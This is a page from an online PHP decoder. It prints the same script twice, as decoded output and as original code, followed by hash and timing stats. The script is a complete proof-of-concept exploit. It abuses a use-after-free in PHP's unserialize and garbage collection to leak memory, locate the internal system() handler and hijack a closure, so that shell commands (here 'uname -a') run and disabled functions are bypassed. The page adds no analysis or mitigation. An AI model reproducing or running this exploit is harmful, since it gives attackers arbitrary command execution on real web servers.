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PHP Decode

<?php pwn("uname -a"); function pwn($cmd) { global $abc, $helper; functi..

Decoded Output download

<?php 
 
pwn("uname -a"); 
 
function pwn($cmd) { 
    global $abc, $helper; 
 
    function str2ptr(&$str, $p = 0, $s = 8) { 
        $address = 0; 
        for($j = $s-1; $j >= 0; $j--) { 
            $address <<= 8; 
            $address |= ord($str[$p+$j]); 
        } 
        return $address; 
    } 
 
    function ptr2str($ptr, $m = 8) { 
        $out = ""; 
        for ($i=0; $i < $m; $i++) { 
            $out .= chr($ptr & 0xff); 
            $ptr >>= 8; 
        } 
        return $out; 
    } 
 
    function write(&$str, $p, $v, $n = 8) { 
        $i = 0; 
        for($i = 0; $i < $n; $i++) { 
            $str[$p + $i] = chr($v & 0xff); 
            $v >>= 8; 
        } 
    } 
 
    function leak($addr, $p = 0, $s = 8) { 
        global $abc, $helper; 
        write($abc, 0x68, $addr + $p - 0x10); 
        $leak = strlen($helper->a); 
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; } 
        return $leak; 
    } 
 
    function parse_elf($base) { 
        $e_type = leak($base, 0x10, 2); 
 
        $e_phoff = leak($base, 0x20); 
        $e_phentsize = leak($base, 0x36, 2); 
        $e_phnum = leak($base, 0x38, 2); 
 
        for($i = 0; $i < $e_phnum; $i++) { 
            $header = $base + $e_phoff + $i * $e_phentsize; 
            $p_type  = leak($header, 0, 4); 
            $p_flags = leak($header, 4, 4); 
            $p_vaddr = leak($header, 0x10); 
            $p_memsz = leak($header, 0x28); 
 
            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write 
                # handle pie 
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; 
                $data_size = $p_memsz; 
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec 
                $text_size = $p_memsz; 
            } 
        } 
 
        if(!$data_addr || !$text_size || !$data_size) 
            return false; 
 
        return [$data_addr, $text_size, $data_size]; 
    } 
 
    function get_basic_funcs($base, $elf) { 
        list($data_addr, $text_size, $data_size) = $elf; 
        for($i = 0; $i < $data_size / 8; $i++) { 
            $leak = leak($data_addr, $i * 8); 
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) { 
                $deref = leak($leak); 
                if($deref != 0x746e6174736e6f63) 
                    continue; 
            } else continue; 
 
            $leak = leak($data_addr, ($i + 4) * 8); 
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) { 
                $deref = leak($leak); 
                if($deref != 0x786568326e6962) 
                    continue; 
            } else continue; 
 
            return $data_addr + $i * 8; 
        } 
    } 
 
    function get_binary_base($binary_leak) { 
        $base = 0; 
        $start = $binary_leak & 0xfffffffffffff000; 
        for($i = 0; $i < 0x1000; $i++) { 
            $addr = $start - 0x1000 * $i; 
            $leak = leak($addr, 0, 7); 
            if($leak == 0x10102464c457f) { # ELF header 
                return $addr; 
            } 
        } 
    } 
 
    function get_system($basic_funcs) { 
        $addr = $basic_funcs; 
        do { 
            $f_entry = leak($addr); 
            $f_name = leak($f_entry, 0, 6); 
 
            if($f_name == 0x6d6574737973) { # system 
                return leak($addr + 8); 
            } 
            $addr += 0x20; 
        } while($f_entry != 0); 
        return false; 
    } 
 
    class ryat { 
        var $ryat; 
        var $chtg; 
         
        function __destruct() 
        { 
            $this->chtg = $this->ryat; 
            $this->ryat = 1; 
        } 
    } 
 
    class Helper { 
        public $a, $b, $c, $d; 
    } 
 
    if(stristr(PHP_OS, 'WIN')) { 
        die('This PoC is for *nix systems only.'); 
    } 
 
    $n_alloc = 10; # increase this value if you get segfaults 
 
    $contiguous = []; 
    for($i = 0; $i < $n_alloc; $i++) 
        $contiguous[] = str_repeat('A', 79); 
 
    $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}'; 
    $out = unserialize($poc); 
    gc_collect_cycles(); 
 
    $v = []; 
    $v[0] = ptr2str(0, 79); 
    unset($v); 
    $abc = $out[2][0]; 
 
    $helper = new Helper; 
    $helper->b = function ($x) { }; 
 
    if(strlen($abc) == 79 || strlen($abc) == 0) { 
        die("UAF failed"); 
    } 
 
    $closure_handlers = str2ptr($abc, 0); 
    $php_heap = str2ptr($abc, 0x58); 
    $abc_addr = $php_heap - 0xc8; 
 
    write($abc, 0x60, 2); 
    write($abc, 0x70, 6); 
    write($abc, 0x10, $abc_addr + 0x60); 
    write($abc, 0x18, 0xa); 
 
    $closure_obj = str2ptr($abc, 0x20); 
 
    $binary_leak = leak($closure_handlers, 8); 
    if(!($base = get_binary_base($binary_leak))) { 
        die("Couldn't determine binary base address"); 
    } 
 
    if(!($elf = parse_elf($base))) { 
        die("Couldn't parse ELF header"); 
    } 
 
    if(!($basic_funcs = get_basic_funcs($base, $elf))) { 
        die("Couldn't get basic_functions address"); 
    } 
 
    if(!($zif_system = get_system($basic_funcs))) { 
        die("Couldn't get zif_system address"); 
    } 
    $fake_obj_offset = 0xd0; 
    for($i = 0; $i < 0x110; $i += 8) { 
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); 
    } 
    write($abc, 0x20, $abc_addr + $fake_obj_offset); 
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type 
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler 
 
    ($helper->b)($cmd); 
 
    exit(); 
} ?>

Did this file decode correctly?

Original Code

<?php

pwn("uname -a");

function pwn($cmd) {
    global $abc, $helper;

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    class ryat {
        var $ryat;
        var $chtg;
        
        function __destruct()
        {
            $this->chtg = $this->ryat;
            $this->ryat = 1;
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if you get segfaults

    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_repeat('A', 79);

    $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
    $out = unserialize($poc);
    gc_collect_cycles();

    $v = [];
    $v[0] = ptr2str(0, 79);
    unset($v);
    $abc = $out[2][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
    write($abc, 0x70, 6);
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);

    exit();
}

Function Calls

None

Variables

None

Stats

MD5 4ae4a5cb45d69afe2db5c5b5bf1416ab
Eval Count 0
Decode Time 71 ms